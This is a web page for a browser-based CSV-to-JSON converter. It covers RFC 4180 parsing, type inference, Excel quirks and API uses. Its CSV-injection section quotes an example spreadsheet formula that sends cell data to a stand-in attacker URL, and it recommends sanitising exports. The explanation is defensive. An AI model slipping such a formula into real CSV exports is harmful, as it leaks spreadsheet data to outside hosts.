CSV to JSON Converter

Our CSV to JSON converter parses any RFC 4180-compliant CSV (commas or other delimiters, quoted fields, escaped quotes, multi-line cells) and emits a clean JSON array. The first row becomes object keys by default (configurable). Numeric and boolean values are auto-typed (numbers stay numbers, true/false become booleans, empty cells become null) — toggle off to keep everything as strings if your downstream consumer is strict. Validation flags ragged rows, unclosed quotes, and encoding issues with line numbers. Everything runs in your browser, so customer exports, payroll CSVs, and other sensitive tabular data never leave your device. Use it for JavaScript dataset imports, REST API request bodies, MongoDB seed files, or any tool that prefers JSON over CSV.

star 4.9
auto_awesome AI
New
info Paste CSV to convert to JSON
0 rows 0 cols 0 B

lightbulb Tips

  • RFC 4180: quote fields containing , " or newline
  • Escape embedded quotes by doubling: "" represents one "
  • First row = headers (object keys) by default
  • Type inference: 42 → number, true/false → bool, empty → null
  • Quote ZIP codes ("01234") to keep them as strings

How to Convert CSV to JSON in 3 Steps: Paste, Parse, Copy

content_paste

Paste CSV

Paste any CSV — Excel export, database dump, or API response. The parser handles RFC 4180 quoting, CRLF/LF line endings, and UTF-8 BOM automatically.

tune

Configure

Pick the delimiter (comma, semicolon, tab, pipe), toggle header-row mode, and choose type inference on/off. Defaults work for most Excel/Google Sheets exports.

swap_horiz

Convert

JSON appears instantly with type-correct values, header keys, and your chosen indentation. Pick 2-space, 4-space, or minified output.

content_copy

Copy or Download

Click Copy for clipboard or Download to save as a `.json` file ready for API request bodies, JavaScript datasets, or database seeds.

The Formula

CSV-to-JSON conversion tokenizes the CSV per RFC 4180: fields separated by the delimiter, double-quoted fields can contain delimiters and newlines, and `""` inside a quoted field is an escaped quote. The first row is treated as the header and becomes JSON object keys; subsequent rows become objects. Optional type inference promotes obvious numeric and boolean strings to JSON-native types. The result is a JSON array ready to consume in any language that has a JSON parser.

parse CSV(input, delimiter, quote) → [{header: value, ...}, ...]

lightbulb Variables Explained

  • input Raw CSV text (RFC 4180 — comma-delimited, double-quoted strings, CRLF or LF line endings)
  • parse CSV() Tokenizes by delimiter respecting quoted fields, expands escaped quotes ("" → "), preserves cell values
  • delimiter Field separator — comma (default), tab, semicolon, or pipe
  • header row First row becomes JSON object keys (toggleable; off → emit array of arrays)
  • type inference Numeric strings → numbers, true/false → boolean, empty → null (toggleable)

tips_and_updates Pro Tips

1

Quote any field containing a comma, double quote, or newline — RFC 4180 requires double quotes around such cells

2

Escape double quotes inside quoted fields by doubling them: `"He said ""hi"""` represents the value `He said "hi"`

3

First row is treated as the header by default — toggle off if your CSV has no header (output becomes array of arrays)

4

Type inference catches `123`, `4.5`, `true`, `false`, and empty cells (→ null). Toggle off if your downstream needs strings only

5

Empty cells in the source become `null` in JSON by default — change to empty string if your consumer prefers that

6

Excel CSV exports often use Windows CRLF line endings — the parser handles both CRLF and LF

7

Watch for BOM (byte-order mark) at the start of UTF-8 CSV files exported from Excel — the parser strips it automatically

8

For very large CSV files (50MB+), prefer streaming tools like `csvkit`, `jq`, or `Papa Parse` with chunking instead of in-browser conversion

9

Quoted numeric strings (`"01234"` for a ZIP code) stay as strings in the output — type inference only promotes unquoted values

10

Beware CSV injection: never paste CSV from untrusted sources directly into Excel or Google Sheets without sanitizing leading `=`, `+`, `-`, `@` characters (OWASP)

Convert any CSV file to JSON instantly — paste, parse, copy. The converter handles RFC 4180 quoting (escaped quotes via `""`), multi-line cells, CRLF/LF line endings, UTF-8 BOM stripping, and four delimiter options (comma, semicolon, tab, pipe). Type inference promotes numbers and booleans automatically; toggle off for all-strings output. Everything runs in your browser, so customer exports, payroll CSVs, and other sensitive tabular data never leave your device. Below: how the parser works under the hood, CSV vs JSON differences for developers, conversion patterns for Excel/Google Sheets, type inference rules, RFC 4180 edge cases, CSV injection security, and a cheat sheet for round-tripping safely.

CSV to JSON Converter Online: Parse Any Spreadsheet to JSON Instantly

Paste valid CSV — an Excel export, Google Sheets download, database dump, or API response — and the converter emits a clean JSON array in real time. The first row is treated as the header by default, becoming JSON object keys; subsequent rows become objects in a JSON array. Type inference promotes obvious numeric strings to numbers (42 stays an integer, 3.14 stays a float), boolean strings to booleans (true/false case-insensitive), and empty cells to null. Toggle these behaviors off if your downstream consumer is strict about types. The conversion runs entirely in your browser using a hand-rolled RFC 4180 parser plus the native JSON.stringify (per ECMA-404). Output is ready to paste into a `.json` file, feed to a REST API, or use as a JavaScript dataset.

How to Convert CSV to JSON: A 3-Step Workflow for Developers

Step 1: Paste your CSV into the editor. The parser validates as you type — invalid CSV (unclosed quotes, ragged rows, wrong delimiter) shows the exact error with line and column. Step 2: Configure the parser if needed — pick the delimiter (defaults to comma; switch to semicolon for EU Excel exports or tab for TSV files), toggle the header-row mode, and choose type inference. Step 3: The JSON output appears live in the right pane. Click Copy (clipboard) or Download (`.json` file). For programmatic workflows, the same logic is exposed via the `/api/calculate` endpoint — POST CSV to it and receive the JSON in the response body. Round-trip safety holds for flat tabular data; nested data needs a custom flattening strategy.

CSV vs JSON: Key Differences in Structure, Types, and Use Cases

CSV (Comma-Separated Values) is a flat tabular format — each line is a row, fields separated by a delimiter. It has no native types (every cell is text), no nesting (one level deep, like a database table), and minimal metadata (an optional header row). It's universally readable: every spreadsheet tool, every database import, every shell tool grok CSV. JSON (JavaScript Object Notation) is a hierarchical format with explicit types (string, number, boolean, null), nested objects and arrays, and self-describing keys per record. JSON is the lingua franca of REST/GraphQL APIs, NoSQL databases, and configuration files. When to use which: CSV for bulk tabular data, spreadsheet exchange, ETL ingestion, and analyst workflows. JSON for APIs, configs, nested records, and machine-to-machine messaging. Convert between them at the boundary: ingest CSV → process as JSON → export back to CSV if a spreadsheet consumer needs it.

RFC 4180 CSV Parsing: Quoted Fields, Escaped Quotes, and Edge Cases

RFC 4180 (2005) is the IETF informational standard for CSV. Core rules: (1) Records are separated by CRLF (Windows) or LF (Unix). (2) Fields are separated by a delimiter (comma in the standard; commonly varied in practice). (3) Fields containing the delimiter, a double quote, or a newline must be enclosed in double quotes. (4) Inside a quoted field, a literal double quote is escaped by doubling it (`""` represents a single `"`). (5) An optional header row appears as the first record. The parser implemented here tolerates LF-only line endings, semicolon/tab/pipe delimiters (toggle in settings), UTF-8 BOM at file start (stripped automatically), and a trailing newline at end-of-file. It rejects unclosed quoted fields and ragged rows with clear error messages.

Type Inference: Numbers, Booleans, and Null Handling in CSV-to-JSON

Type inference promotes obvious unquoted values to JSON-native types. Numbers: digit patterns matching JSON's integer or float syntax become JSON numbers. `42` → integer 42. `3.14` → float 3.14. `1e6` → 1000000. `01234` is ambiguous — strict number parsers reject leading zeros, so it stays a string (which is what you want for ZIP codes). Booleans: `true` and `false` (case-insensitive) become JSON booleans. Note: this is the YAML 1.2 / strict JSON convention — `yes`/`no`/`on`/`off` stay as strings (the 'Norway problem' fix). Null: empty cells (between two consecutive delimiters or at end of row) become JSON null. If you toggle type inference off, every cell stays a string regardless of content — useful when your downstream consumer (e.g., a strict TypeScript pipeline) expects uniform types.

Convert Excel CSV Files to JSON: Encoding, Delimiters, and Quirks

Excel is the dominant CSV producer, and its exports come with quirks. Encoding: Excel for Windows often saves CSV as UTF-8 with BOM (the parser strips it automatically) or Windows-1252 (Latin-1) for older versions. Excel for Mac usually saves clean UTF-8. If non-ASCII characters appear garbled, re-save the file as UTF-8 in your spreadsheet app before pasting. Delimiters: in EU locales (Germany, France, etc.), Excel uses semicolons because comma is the decimal separator; switch the delimiter setting accordingly. Line endings: Excel uses CRLF by default — fully supported. Quoting: Excel quotes any cell containing a comma or double quote; embedded quotes are escaped via `""`. Number formatting: Excel may export `1,234.56` (comma as thousands separator) which the parser will treat as a string unless you re-format. Date columns export as the locale's default string — usually need post-processing to convert to ISO 8601.

Convert CSV to JSON for REST APIs and Database Imports

JSON is the dominant request/response format for REST APIs, GraphQL endpoints, and most modern web services. Converting CSV to JSON is a frequent step when: (1) bulk-importing data via an API that accepts JSON arrays (e.g., user signup, product catalog seeding, bulk update endpoints); (2) seeding NoSQL databases (MongoDB, DynamoDB, Cassandra) that ingest JSON natively via `mongoimport`, `aws dynamodb batch-write-item`, or similar; (3) feeding ETL pipelines (Airflow, Prefect, dbt) that move CSV exports through JSON-based transformations; (4) populating frontend dummy data for React/Vue/Angular component prototypes. After conversion, validate the JSON output against your downstream schema (JSON Schema, OpenAPI request body, GraphQL input type) to catch type mismatches before deployment.

Convert CSV to JSON for JavaScript, Node.js, and Frontend Datasets

JSON is the native data format for JavaScript runtimes (browser, Node.js, Deno, Bun). Convert CSV to JSON when you need to: (1) embed a static dataset in a React/Vue component (`import data from './data.json'`); (2) seed a Redux/Pinia/Zustand store with initial state; (3) feed a charting library (Chart.js, D3, Plotly) that expects JSON; (4) prototype a Node.js script that processes records before writing to a database; (5) build an Express/Fastify mock endpoint that returns sample data. The JSON output from this converter is fully ECMA-404 compliant — `JSON.parse()`, `fetch()` POST bodies, and TypeScript type inference (`type Row = typeof data[0]`) all work without modification. For very large datasets (10k+ rows), consider streaming with Papa Parse instead of one-shot conversion.

CSV Injection Security: Formula Prefixes and Sanitization

CSV injection (also called formula injection) is a web-application vulnerability where a CSV file containing formula prefixes (`=`, `+`, `-`, `@`) is opened in Excel or Google Sheets, and the spreadsheet automatically executes the formula. Attackers can use this to exfiltrate data (`=HYPERLINK("http://attacker.com?"&A1, "click")`), run arbitrary commands (legacy Excel macro syntax), or trick users into visiting malicious URLs. This converter is read-only (CSV → JSON), so it doesn't introduce injection risk. But if your application generates CSV exports from user input — sanitize. Standard mitigation: prefix any cell that starts with `=`, `+`, `-`, `@`, `\t`, `\r`, or `0x09` with a single quote (`'=cmd|...`) before writing to CSV. OWASP has a complete CSV Injection cheat sheet covering all variants.

Common CSV Parse Errors: Unclosed Quotes, Ragged Rows, and Encoding

Five errors account for 90% of CSV parse failures. (1) Unclosed quoted field — a field starts with `"` but never has a matching closing `"`. The parser keeps reading until end-of-file, then errors. Fix: ensure every opening quote has a matching close. (2) Ragged rows — some rows have fewer or more fields than the header. Causes: stray newlines inside unquoted text, missing or extra delimiters. Fix: verify column count is consistent. (3) Wrong delimiter — your file uses semicolons but the parser is set to commas. Switch the Delimiter setting. (4) Wrong escape style — using `\"` (JSON-style) instead of `""` (RFC 4180-style) inside quoted fields. Fix: re-export from the source tool with proper RFC 4180 quoting. (5) Encoding mismatch — non-UTF-8 characters appear garbled. Re-save the source file as UTF-8 (most spreadsheet apps offer this option in Save As). The error message in the converter shows the exact line and column.

Round-Trip Safety: CSV → JSON → CSV and Edge Cases

Five round-trip considerations every developer should know. (1) Flat data: pure flat tabular CSV → JSON → CSV preserves cell values, types (modulo type promotion if you re-parse the JSON), and column order. (2) Nested JSON: cannot be round-tripped through CSV without flattening. Pick a strategy: dot-notation column names (`address.city`, `address.zip`), JSON strings inside cells, or first-level only. (3) Type promotion: numeric and boolean strings get promoted on CSV → JSON; if you export back to CSV, they're emitted as their native form. ZIP codes (`01234`) need quoting in the source CSV to survive. (4) Header order: the converter preserves source column order. JSON object key order is preserved by modern JavaScript engines. (5) Empty cells: become null in JSON; if you export back, configure your CSV writer to emit empty strings or `null` literals as the original. Test with non-trivial fixtures before relying on round-trip in production pipelines.

CSV to JSON Cheat Sheet: Type Mapping, Tools, and Best Practices

Type mapping at a glance: CSV header row → JSON object keys; CSV row → JSON object; CSV cell (unquoted, numeric) → JSON number; CSV cell (unquoted, true/false) → JSON boolean; CSV cell (empty) → JSON null; CSV cell (quoted or non-numeric) → JSON string. Tool comparison: this converter (browser, instant, no install, RFC 4180 strict) vs Papa Parse (JS library, streaming, worker threads) vs csvkit (Python CLI, large files, dialect detection) vs `jq -R -c -f csv2json.jq` (Unix shell, programmatic). Best practices: (1) Always quote ambiguous fields (numeric IDs, ZIP codes, leading-zero strings) in the source CSV. (2) Use UTF-8 encoding for compatibility — re-save older Excel files as UTF-8. (3) Validate the JSON output against your downstream schema (JSON Schema, OpenAPI, TypeScript types) — catch type errors at the boundary, not in production. (4) Keep CSV as the source of truth for tabular data and regenerate JSON at build/import time when possible. (5) For >50MB files, switch to streaming tools (Papa Parse worker, csvkit pipeline) instead of in-browser conversion.

code

Embed this CSV to JSON Converter on your site

Free for any site. Copy the snippet below and paste into your HTML — no attribution required beyond the built-in credit link.

<iframe src="https://calculators.im/embed/csv-to-json-converter" width="100%" height="720" style="border:0;max-width:100%;" loading="lazy" title="CSV to JSON Converter by Calculators.im"></iframe>
<p style="font-size:12px;text-align:center;color:#64748b;margin-top:6px;">Powered by <a href="https://calculators.im/csv-to-json-converter?utm_source=embed&utm_medium=snippet&utm_campaign=csv-to-json-converter">CSV to JSON Converter</a> by Calculators.im</p>
open_in_new Preview embed Auto-resizing iframe. Mobile responsive. Works with WordPress, Ghost, Webflow, and plain HTML.

Frequently Asked Questions

sell

Tags